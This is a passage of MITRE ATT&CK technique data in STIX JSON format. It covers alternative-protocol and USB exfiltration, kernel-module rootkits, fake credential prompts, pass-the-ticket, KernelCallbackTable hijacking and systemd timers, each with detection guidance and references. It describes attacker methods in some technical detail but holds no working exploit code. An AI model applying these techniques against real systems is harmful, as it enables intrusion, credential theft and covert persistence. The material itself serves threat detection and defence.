(2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2021-10-15T22:49:28.766Z","name":"Exfiltration Over Alternative Protocol","description":"Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.  \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Command: Command Execution","Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation","File: File Access"]},{"x_mitre_platforms":["macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Wayne Silva, F-Secure Countercept","Anastasios Pingios","Jeremy Galloway","Red Canary","Eric Kaiser @ideologysec"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","created":"2020-01-24T17:42:23.339Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1547.006","url":"https://attack.mitre.org/techniques/T1547/006"},{"source_name":"Apple Developer Configuration Profile","url":"https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf","description":"Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021."},{"source_name":"Apple Kernel Extension Deprecation","url":"https://developer.apple.com/support/kernel-extensions/","description":"Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020."},{"source_name":"System and kernel extensions in macOS","url":"https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web","description":"Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022."},{"source_name":"GitHub Reptile","url":"https://github.com/f0rb1dd3n/Reptile","description":"Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018."},{"source_name":"Volatility Phalanx2","url":"https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html","description":"Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018."},{"source_name":"iDefense Rootkit Overview","url":"http://www.megasecurity.org/papers/Rootkits.pdf","description":"Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018."},{"source_name":"Linux Loadable Kernel Module Insert and Remove LKMs","url":"http://tldp.org/HOWTO/Module-HOWTO/x197.html","description":"Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018."},{"source_name":"CrowdStrike Linux Rootkit","url":"https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/","description":"Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017."},{"source_name":"GitHub Diamorphine","url":"https://github.com/m0nad/Diamorphine","description":"Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018."},{"source_name":"Securelist Ventir","url":"https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/","description":"Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018."},{"source_name":"User Approved Kernel Extension Pike’s","url":"https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/","description":"Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021."},{"source_name":"Linux Kernel Module Programming Guide","url":"http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html","description":"Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018."},{"source_name":"Linux Kernel Programming","url":"https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf","description":"Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."},{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."},{"source_name":"Purves Kextpocalypse 2","url":"https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/","description":"Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021."},{"source_name":"RSAC 2015 San Francisco Patrick Wardle","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018."},{"source_name":"Synack Secure Kernel Extension Broken","url":"https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/","description":"Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018."},{"source_name":"Wikipedia Loadable Kernel Module","url":"https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux","description":"Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming) \n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)","modified":"2022-04-20T18:53:39.406Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Kernel Modules and Extensions","x_mitre_detection":"Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: <code>modprobe</code>, <code>insmod</code>, <code>lsmod</code>, <code>rmmod</code>, or <code>modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code> On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>\n\nOn macOS, monitor for execution of <code>kextload</code> commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the <code>kext_policy</code> table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, <code>/var/db/SystemPolicyConfiguration/KextPolicy</code>.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Kernel: Kernel Module Load","File: File Modification","Process: Process Creation","Command: Command Execution","File: File Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["root"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Molyett, @s1air, Cisco Talos"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","type":"attack-pattern","created":"2020-02-11T18:58:45.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1056.002","url":"https://attack.mitre.org/techniques/T1056/002"},{"external_id":"CAPEC-659","source_name":"capec","url":"https://capec.mitre.org/data/definitions/659.html"},{"url":"https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html","description":"Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.","source_name":"OSX Malware Exploits MacKeeper"},{"source_name":"LogRhythm Do You Trust Oct 2014","url":"https://logrhythm.com/blog/do-you-trust-your-computer/","description":"Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018."},{"url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","source_name":"OSX Keydnap malware"},{"source_name":"Spoofing credential dialogs","url":"https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/","description":"Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021."},{"source_name":"Enigma Phishing for Credentials Jan 2015","url":"https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/","description":"Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018."}],"modified":"2022-03-08T21:05:20.136Z","name":"GUI Input Capture","description":"Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"},{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Script: Script Execution","Process: Process Creation","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar","Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c","type":"attack-pattern","created":"2017-05-31T21:31:11.623Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1097","url":"https://attack.mitre.org/techniques/T1097"},{"external_id":"CAPEC-645","source_name":"capec","url":"https://capec.mitre.org/data/definitions/645.html"},{"url":"https://adsecurity.org/?p=556","description":"Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.","source_name":"ADSecurity AD Kerberos Attacks"},{"url":"http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos","description":"Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.","source_name":"GentilKiwi Pass the Ticket"},{"url":"http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf","description":"Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.","source_name":"Campbell 2014"},{"url":"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf","description":"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.","source_name":"CERT-EU Golden Ticket Protection"}],"modified":"2020-01-30T19:57:16.037Z","name":"Pass the Ticket","description":"Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_system_requirements":["Requires Microsoft Windows as a target system and Kerberos authentication enabled."]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["SOCCRATES","Mnemonic AS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","type":"attack-pattern","created":"2020-10-01T02:08:33.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1588.002","url":"https://attack.mitre.org/techniques/T1588/002"},{"source_name":"Recorded Future Beacon 2019","url":"https://www.recordedfuture.com/identifying-cobalt-strike-servers/","description":"Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020."},{"source_name":"Analyzing CS Dec 2020","url":"https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/","description":"Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021."}],"modified":"2021-10-17T16:17:55.499Z","name":"Tool","description":"Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Malware Repository: Malware Metadata"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["William Cain"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","type":"attack-pattern","created":"2020-03-11T13:50:11.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1052.001","url":"https://attack.mitre.org/techniques/T1052/001"}],"modified":"2021-10-15T22:48:29.490Z","name":"Exfiltration over USB","description":"Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Monitor file access on removable media. Detect processes that execute when removable media are mounted.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Drive: Drive Creation","Process: Process Creation","Command: Command Execution","File: File Access"],"x_mitre_system_requirements":["Presence of physical medium or device"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde","type":"attack-pattern","created":"2022-02-25T15:27:44.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.013","url":"https://attack.mitre.org/techniques/T1574/013"},{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."},{"source_name":"FinFisher exposed ","url":"https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/","description":"Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022."},{"source_name":"Windows Process Injection KernelCallbackTable","url":"https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/","description":"odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022."},{"source_name":"NtQueryInformationProcess","url":"https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess","description":"Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022."}],"modified":"2022-03-22T15:47:33.915Z","name":"KernelCallbackTable","description":"Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>WriteProcessMemory()</code> and <code>NtQueryInformationProcess()</code> with the parameter set to <code>ProcessBasicInformation</code> may be used for this technique.(Citation: Lazarus APT January 2022)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4","type":"attack-pattern","created":"2020-10-02T17:01:42.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1597","url":"https://attack.mitre.org/techniques/T1597"},{"source_name":"D3Secutrity CTI Feeds","url":"https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/","description":"Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020."},{"source_name":"ZDNET Selling Data","url":"https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/","description":"Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:45:31.020Z","name":"Search Closed Sources","description":"Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["SarathKumar Rajendran, Trimble Inc"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21","type":"attack-pattern","created":"2020-10-12T17:50:31.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1053.006","url":"https://attack.mitre.org/techniques/T1053/006"},{"source_name":"archlinux Systemd Timers Aug 2020","url":"https://wiki.archlinux.org/index.php/Systemd/Timers","description":"archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020."},{"source_name":"Systemd Remote Control","url":"https://www.tecmint.com/control-systemd-services-on-remote-linux-server/","description":"Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021."},{"source_name":"Linux man-pages: systemd January 2014","url":"http://man7.org/linux/man-pages/man1/systemd.1.html","description":"Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."},{"description":"Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.","url":"https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/","source_name":"Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018"},{"description":"Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.","url":"https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a","source_name":"gist Arch package compromise 10JUL2018"},{"description":"Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.","url":"https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html","source_name":"acroread package compromised Arch Linux Mail 8JUL2018"}],"modified":"2021-07-27T16:43:25.027Z","name":"Systemd Timers","description":"Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., 